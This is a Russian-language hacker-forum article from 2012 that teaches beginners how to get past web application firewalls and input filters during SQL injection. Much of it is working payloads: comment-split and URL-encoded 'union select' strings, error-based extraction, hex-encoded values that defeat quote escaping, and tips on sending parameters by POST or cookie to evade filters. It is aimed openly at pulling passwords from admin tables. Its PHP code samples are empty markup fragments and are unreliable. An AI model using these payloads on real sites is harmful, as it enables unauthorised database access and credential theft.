ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   Обход WAF (https://forum.antichat.xyz/showthread.php?t=338555)

Pirotexnik 22.06.2012 03:06

[INTRO]​
Доброго времени суток. Эта статья будет посвящена обходу разнообразных фильтров и WAF'ов во время проведения SQLi.

Если вы читаете эту статью - что это вы уже знаете.

В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.

Ну что, погнали?

[ВХОЖДЕНИЯ]​
Все, или почти все, вафы реализуются с помощью вхождений.

Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.

Переменная сканируется на наличее следующих вхождений:

Цитата:

Сообщение от None
union select

Что такое вхождение?

Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Цитата:

Сообщение от None
Array ( [0] => Array ( [0] => ing [1] => 6 ) )

Первое вхождение после 6-го символа. Возвращается либо 0(false) либо 1(true)

Регистро-независимая функция.

Простой пример фильтра на PHP:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:

Цитата:

Сообщение от None
site.com/ucp.php?id=1+union+select+user()+--+

$id=1 union select user() --

Все, запалились мы Но мы поступим по другому.

Цитата:

Сообщение от None
site.com/ucp.php?id=1+union/**/select+user()+--+

$id=1 union/**/select user() --

Все, вхождений нету, вытаскиваем пароли

[МЕТОДА ОБХОДА]
В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.

Обход фильтрации пробелов:

filtered: id=1+and+1=2+--+

bypassed: id=(1)and(1)=2

bypassed: id=1/**/and/**/1=2

bypassed: id=1/*!and*/1=2

bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20

%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно 1 and 1=2 --

Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.

Обход фильтрации комбинаций unoin select:

filtered: id=1+union+select+user()+--+

bypassed: id=1/**/union/**/select/**/user()/**/--/**/

bypassed: id=1/*!union*/select+user()+--+

Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.

Хочу пояснить как работаю комментарии:

/* - открыть многострочный комментарий

*/ - закрыть многострочный комметарий

! - выполнить код, который после знака

Например:

Цитата:

Сообщение от None
/*!
exec
*/

Цитата:

Сообщение от None
/*comment*/

Более умные фильтрации:

А что же делать, если во всей строке ищутся вхождений union и select?

Тоесть не важно в какой последовательносте они стоят, если ОБА слова есть в строке - облом.

Тогда от одного прийдется избавится

filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+

bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'

Нужно знать таблицу, колонку, и какие-то данные (любые).

Поэтому я предпочитаюю Error Based:

Цитата:

Сообщение от None
1+or+1+group+by+mid(user(),rand(0)|0,64)+having+av g(0)+--+

К тому же, можно обойтись и без select

[MAGIC_QUOTES]​
Очень часто магические кавычки, или addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:

?id=1+union+select+pass+from+users+where+name='adm in'+--+

Если MQ=on, то запрос будет примерно таким:

Цитата:

Сообщение от None
mysql("SELECT * from news where news_id=1 union select pass from users where name=
\'
admin
\'
--

Обходим хексом:

?id=1+union+select+pass+from+users+where+name=0x61 646D696E+--+

Цитата:

Сообщение от None
mysql("SELECT * from news where news_id=1 union select pass from users where name=0x61646D696E -- ");

Не забывайте добавить , что бы мускул понял, что мы скармливаем ему хекс.

[АУТРО]​
Не забывайте, что почти всегда можно найти замену тому или иному элементу:

OR -- ||

AND -- &&

WHERE -- HAVING

ORDER -- GROUP

+ -- /**/

и тд.

[Игры с запросами]​
Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.

Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.

Порядок такой: GPCS

гет, пост, куки, сессия.

Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.

Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.

Спасибо


Время: 23:09